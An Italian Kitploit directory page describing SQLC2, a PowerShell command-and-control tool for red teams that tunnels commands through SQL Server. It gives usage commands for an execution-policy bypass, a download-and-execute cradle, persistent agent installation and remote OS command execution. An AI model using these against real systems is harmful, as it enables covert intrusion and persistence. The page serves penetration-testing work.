Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SQLC2 — SQLC2 è uno script PowerShell per distribuire e gestire un sistema di comando e controllo che utilizza SQL Server sia come server di controllo che come agente. | Kitploit
Strumenti/GitHubGitHub/netspi/sqlc2
Meccanismi di PersistenzaPenetration TestingSicurezza CloudCommand and ControlRed TeamingSicurezza dei Database
GitHubnetspi/sqlc2

SQLC2

SQLC2 è uno script PowerShell per distribuire e gestire un sistema di comando e controllo che utilizza SQL Server sia come server di controllo che come agente.

Vedi Repository
752133 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SQLC2

SQLC2 è uno script PowerShell per distribuire e gestire un sistema di comando e controllo che utilizza SQL Server sia come server di controllo che come agente. Alla base, SQLC2 è semplicemente uno script PowerShell, uno script TSQL e alcune tabelle in un'istanza SQL Server che tiene traccia di agenti, comandi e risultati. Niente di troppo sofisticato, ma potrebbe rivelarsi utile in alcuni impegni.

Per una panoramica più completa di SQLC2, consulta il blog su https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.

Autore e Licenza

  • Autore: Scott Sutherland (@_nullbind), NetSPI - 2018
  • Licenza: BSD 3-Clause
  • Dipendenze richieste: Nessuna

Perché preoccuparsi di un C2 basato su SQL Server?

Sempre più aziende stanno iniziando a utilizzare database SQL Server di Azure. Quando vengono create queste istanze di Azure SQL Server, vengono rese accessibili tramite un sottodominio di database.windows.net sulla porta 1433. Ad esempio, potrei creare un'istanza SQL Server denominata "mysupersqlserver.database.windows.net". Di conseguenza, alcune configurazioni di rete aziendale consentono l'accesso internet in uscita a qualsiasi sottodominio "database.windows.net" sulla porta 1433.

L'idea generale è che con la crescita dell'adozione di Azure SQL Server, ci saranno maggiori opportunità di utilizzare SQL Server come canale di controllo che assomiglia un po' al traffico normale. SQLPS è una prova di concetto piuttosto basilare, ma penso sia abbastanza funzionale per illustrare l'idea. So che ci sono molti miglioramenti da apportare, ma se finisci per giocarci, mi piacerebbe ricevere il tuo feedback.

Non solo per Azure

Sebbene ci sia un'enfasi sull'utilizzo di SQLC2 con le istanze di Azure SQL Server, potresti ospitare il tuo SQL Server in qualsiasi ambiente cloud e farlo ascoltare sulla porta 443 con SSL abilitato. Quindi, potrebbe offrire un po' più di flessibilità a seconda di quanto impegno vuoi dedicarci.

Caricamento di SQLC2

  • Opzione 1: Scarica lo script e importalo. Questo non richiede privilegi amministrativi e verrà importato solo nella sessione corrente. Tuttavia, potrebbe essere bloccato da policy di esecuzione restrittive, quindi potresti voler utilizzare l'opzione bypass.

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • Opzione 2: Caricalo in una sessione tramite una download cradle. Questo non richiede privilegi amministrativi e verrà importato solo nella sessione corrente. Non dovrebbe essere bloccato dalle policy di esecuzione.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    Nota: Per eseguire come utente di dominio alternativo, usa il comando runas per avviare PowerShell prima.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

Diagramma dell'architettura di base di SQLC2

SQLC2Arch

Funzioni utente

Di seguito è riportato un elenco di funzioni utente che supportano i flussi di lavoro previsti.

Nome funzioneDescrizione
Install-SQLC2ServerInstalla le tabelle SQLC2 sul server/database SQL di destinazione.
Install-SQLC2AgentPsInstalla un agente che utilizza un processo di SQL Server Agent e un collegamento server.
Install-SQLC2AgentLinkInstalla un agente che utilizza un'attività pianificata o una chiave di registro per eseguire comandi PowerShell.
Set-SQLC2CommandImposta i comandi del sistema operativo da eseguire sugli agenti.
Get-SQLC2CommandOttieni un elenco di comandi del sistema operativo in sospeso dal C2 per l'agente. Può anche eseguire il comando in sospeso con il flag -Execute.
Get-SQLC2AgentOttieni un elenco di agenti registrati sul server SQLC2.
Get-SQLC2ResultOttieni un elenco di comandi in sospeso e completati. Supporta i filtri per nome server, stato e cid.
Remove-SQLC2AgentRimuovi gli agenti registrati su SQLC2. Semplicemente cancella la cronologia.
Remove-SQLC2CommandRimuovi la cronologia dei comandi sul server SQLC2.
Uninstall-SQLC2AgentLinkDisinstalla l'agente SQLC2 che utilizza collegamenti server e un processo agente.
Uninstall-SQLC2AgentPsDisinstalla tutti i metodi di persistenza basati sul sistema operativo.
Uninstall-SQLC2ServerRimuovi le tabelle SQLC2 dal database di destinazione.

Screenshot

Di seguito sono riportati alcuni screenshot di esempio.

Installa SQLC2 Server (Crea tabelle):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install C2

Installa agente SQLC2 (processo di SQL Server Agent che utilizza un collegamento server):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install Agent

Visualizza agenti SQLC2:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

Imposta comando da eseguire sull'agente:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

Ottieni risultati dei comandi:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Get Command Output

Scarica lo strumento